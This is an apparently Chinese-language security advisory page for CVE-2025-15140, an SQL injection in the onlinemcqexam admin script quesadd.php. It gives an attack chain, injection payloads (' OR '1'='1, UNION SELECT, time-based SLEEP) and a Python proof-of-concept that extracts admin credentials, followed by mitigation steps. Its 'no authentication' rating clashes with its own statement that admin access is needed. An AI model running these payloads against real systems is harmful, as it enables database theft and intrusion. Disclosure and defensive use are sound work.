IPBUF安全漏洞报告
English
CVE-2025-15140 CVSS 7.3 高危

CVE-2025-15140 saiftheboss7 onlinemcqexam SQL注入漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15140
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
saiftheboss7/onlinemcqexam

相关标签

SQL注入高危onlinemcqexam管理后台CVE-2025-15140远程攻击无需认证数据库泄露

漏洞概述

CVE-2025-15140是saiftheboss7开发的onlinemcqexam在线考试系统中的一个高危SQL注入漏洞。该漏洞存在于管理后台的quesadd.php文件中的ans1和ans2参数中。由于应用程序在处理用户输入时未对这两个参数进行充分的输入验证和SQL语句参数化处理,攻击者可以通过构造恶意的SQL payloads来执行任意SQL查询。漏洞的CVSS评分为7.3,属于高危级别,攻击向量为网络远程攻击,无需认证和用户交互即可利用。攻击者可以利用此漏洞获取数据库中的敏感信息,包括用户凭据、试题数据、管理员账户信息等。在某些配置下,攻击者甚至可能通过SQL注入获取系统操作权限,实现远程代码执行。该漏洞已于2025年12月28日披露,官方尚未发布修复补丁,建议使用者采取临时防护措施。

技术细节

该SQL注入漏洞位于onlinemcqexam系统的/admin/quesadd.php文件中的ans1和ans2参数。漏洞的根本原因在于应用程序直接将这些参数的值拼接到SQL查询语句中,未使用参数化查询或预编译语句。当管理员或具有相应权限的用户通过管理后台添加试题时,系统会将ans1和ans2参数的值直接用于SQL INSERT语句。例如,攻击者可以在ans1参数中注入类似' OR '1'='1的SQL语句,实现SQL注入攻击。攻击者可以通过UNION SELECT语句提取数据库中的敏感信息,如管理员用户名和密码哈希值。进一步利用时,攻击者可能通过INTO OUTFILE语句将webshell写入服务器,实现远程代码执行。由于该漏洞位于管理后台,理论上需要管理员权限才能访问,但若管理后台存在未授权访问漏洞(如弱口令或默认凭证),则可能被攻击者直接利用。建议开发者使用PDO或mysqli的预处理语句来修复此漏洞。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标服务器,发现onlinemcqexam系统的管理后台/admin/quesadd.php文件
STEP 2
步骤2
访问管理后台:如果管理后台未配置适当的访问控制或使用弱口令,攻击者获取管理员权限
STEP 3
步骤3
构造恶意请求:攻击者在ans1或ans2参数中注入SQL payloads,如' OR '1'='1或UNION SELECT语句
STEP 4
步骤4
执行SQL注入:服务器将恶意输入拼接到SQL查询中执行,攻击者获取数据库内容或修改数据
STEP 5
步骤5
数据提取:利用UNION注入提取敏感信息,如管理员用户名、密码哈希、数据库版本等
STEP 6
步骤6
权限提升:通过SQL注入获取的凭据登录管理后台,可能进一步上传webshell实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15140 SQL Injection PoC # Target: saiftheboss7 onlinemcqexam # File: /admin/quesadd.php # Parameter: ans1, ans2 def exploit_sql_injection(target_url): """ SQL Injection exploit for CVE-2025-15140 This PoC demonstrates blind SQL injection to extract database information """ # Vulnerable endpoint endpoint = f"{target_url}/admin/quesadd.php" # Malicious payload for SQL injection # Using time-based blind SQL injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" # Data to be submitted data = { 'ans1': payload, 'ans2': 'test_answer', 'question': 'test_question', 'submit': 'Add Question' } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Request sent to target") print(f"[*] Status code: {response.status_code}") # Example: Union-based injection to extract admin credentials union_payload = "1' UNION SELECT username, password FROM admin---" data_union = { 'ans1': union_payload, 'ans2': 'test_answer', 'question': 'test_question', 'submit': 'Add Question' } response2 = requests.post(endpoint, data=data_union, timeout=10) print(f"[+] Union-based injection payload sent") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://localhost/onlinemcqexam") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)

影响范围

saiftheboss7/onlinemcqexam <= 0e56806132971e49721db3ef01868098c7b42ada

防御指南

临时缓解措施
由于官方尚未发布修复补丁,建议采取以下临时缓解措施:1)限制管理后台访问IP,仅允许可信IP访问;2)使用Web应用防火墙规则拦截包含SQL注入特征的请求,如单引号、UNION、SELECT等关键词;3)禁用错误信息显示,防止攻击者获取数据库结构信息;4)监控数据库查询日志,及时发现异常查询行为;5)考虑暂时禁用quesadd.php功能,待官方发布修复版本后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表